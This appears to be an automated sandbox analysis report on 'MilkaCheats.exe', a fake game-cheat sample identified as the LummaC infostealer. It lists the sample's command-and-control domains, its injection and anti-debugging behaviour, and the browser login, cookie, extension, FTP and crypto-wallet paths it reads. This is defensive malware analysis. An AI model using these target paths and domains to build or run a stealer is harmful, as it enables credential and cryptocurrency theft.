Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000D18CF mov ecx, dword ptr fs:[00000030h]	0_2_000D18CF

Source: C:\Users\user\Desktop\MilkaCheats.exe

Code function: 0_2_000C59D6 DeleteFileA,VirtualProtect,GetProcessHeap,GetProcessHeap,HeapAlloc,wsprintfA,GetStdHandle,WriteConsoleA,GetProcessHeap,HeapFree,

0_2_000C59D6

Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C7479 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000C7479
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000CB4F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000CB4F3
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C777F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000C777F
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C790C SetUnhandledExceptionFilter,	0_2_000C790C

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\MilkaCheats.exe

Memory written: C:\Users\user\Desktop\MilkaCheats.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: MilkaCheats.exe	String found in binary or memory: scriptyprefej.store
Source: MilkaCheats.exe	String found in binary or memory: navygenerayk.store
Source: MilkaCheats.exe	String found in binary or memory: founpiuer.store
Source: MilkaCheats.exe	String found in binary or memory: necklacedmny.store
Source: MilkaCheats.exe	String found in binary or memory: thumbystriw.store
Source: MilkaCheats.exe	String found in binary or memory: fadehairucw.store
Source: MilkaCheats.exe	String found in binary or memory: crisiwarny.store
Source: MilkaCheats.exe	String found in binary or memory: presticitpo.store
Source: MilkaCheats.exe	String found in binary or memory: messejawu.store

Source: C:\Users\user\Desktop\MilkaCheats.exe

Process created: C:\Users\user\Desktop\MilkaCheats.exe "C:\Users\user\Desktop\MilkaCheats.exe"

Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: GetLocaleInfoW,	0_2_000DE1A7
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_000DE2D0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: GetLocaleInfoW,	0_2_000DE3D6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_000DE4A5
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: EnumSystemLocalesW,	0_2_000D54FD
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: GetLocaleInfoW,	0_2_000D59C6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_000DDB41
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: EnumSystemLocalesW,	0_2_000DDDE3
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: EnumSystemLocalesW,	0_2_000DDE2E
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: EnumSystemLocalesW,	0_2_000DDEC9
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_000DDF54

Source: C:\Users\user\Desktop\MilkaCheats.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe

Code function: 0_2_000C7679 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000C7679

Source: C:\Users\user\Desktop\MilkaCheats.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MilkaCheats.exe, 00000001.00000003.1794270469.00000000039D5000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847565217.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794077852.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000002.1848284074.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\MilkaCheats.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MilkaCheats.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MilkaCheats.exe	String found in binary or memory: Wallets/Electrum
Source: MilkaCheats.exe	String found in binary or memory: Wallets/ElectronCash
Source: MilkaCheats.exe	String found in binary or memory: Jaxx Liberty
Source: MilkaCheats.exe	String found in binary or memory: window-state.json
Source: MilkaCheats.exe	String found in binary or memory: ExodusWeb3
Source: MilkaCheats.exe, 00000001.00000002.1848395056.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: MilkaCheats.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: MilkaCheats.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
